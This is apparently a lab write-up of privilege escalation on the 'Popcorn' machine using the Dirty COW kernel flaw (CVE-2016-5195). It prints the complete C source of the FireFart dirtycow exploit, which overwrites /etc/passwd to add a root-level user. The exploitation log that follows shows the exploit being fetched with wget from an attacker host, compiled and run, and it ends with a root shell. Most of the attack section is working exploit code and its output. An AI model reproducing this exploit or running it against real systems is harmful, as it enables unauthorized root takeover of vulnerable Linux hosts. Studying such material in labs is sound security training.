PEAS has discovered that the target system is vulnerable to CVE-2016-5195

CVE-2016-5195

a vulnerability was found in linux kernel up to 4.2.3 (Operating System). It has been declared as critical. Affected by this vulnerability is an unknown code of the component Kernel Memory Subsystem. The manipulation with an unknown input leads to a race condition vulnerability (Dirty COW). The CWE definition for the vulnerability is CWE-362. The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently. As an impact it is known to affect confidentiality, integrity, and availability.

exploit (dirtycow)

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//
 
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
 
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
 
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
 
struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};
 
char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}
 
char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}
 
void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
 
int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }
 
  char ch;
  FILE *source, *target;
 
  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }
 
  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }
 
  printf("%s successfully backed up to %s\n",
    from, to);
 
  fclose(source);
  fclose(target);
 
  return 0;
}
 
int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }
 
  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";
 
  char *plaintext_pw;
 
  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }
 
  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);
 
  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }
 
  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}

The exploit was found online

Exploitation

www-data@popcorn:/dev/shm$ wget http://10.10.14.5:8000/CVE-2016-5195/dirty.c
--2023-02-02 14:43:34--  http://10.10.14.5:8000/CVE-2016-5195/dirty.c
connecting to 10.10.14.5:8000... connected.
HTTP request sent, awaiting response... 200 OK
length: 4815 (4.7K) [text/x-csrc]
saving to: `dirty.c'
 
100%[======================================>] 4,815       --.-K/s   in 0s      
 
2023-02-02 14:43:34 (319 MB/s) - `dirty.c' saved [4815/4815]

Delivery complete

www-data@popcorn:/dev/shm$ gcc -m32 -pthread dirty.c -o dirty -lcrypt

Compile

www-data@popcorn:/dev/shm$ ./dirty
./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
please enter the new password: qwe123
 
complete line:
firefart:fim3Q/wLL7UY6:0:0:pwned:/root:/bin/bash
 
mmap: b7797000
madvise 0
 
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'qwe123'.
 
 
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
www-data@popcorn:/dev/shm$ Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'qwe123'.
 
 
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

Exploit successfully complete it should have created a root user; firefart:qwe123

firefart@popcorn:/dev/shm# whoami
whoami
firefart
firefart@popcorn:/dev/shm# id
id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@popcorn:/dev/shm# hostname
hostname
popcorn
firefart@popcorn:/dev/shm# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:50:56:b9:f3:bb brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.6/24 brd 10.10.10.255 scope global eth0
    inet6 dead:beef::250:56ff:feb9:f3bb/64 scope global dynamic 
       valid_lft 86393sec preferred_lft 14393sec
    inet6 fe80::250:56ff:feb9:f3bb/64 scope link 
       valid_lft forever preferred_lft forever

System Level Compromise

InfoSec LAB

Explorer

Popcorn_Privilege_Escalation_4

CVE-2016-5195

exploit (dirtycow)

Exploitation

Interactive Graph View

Table of Contents

Backlinks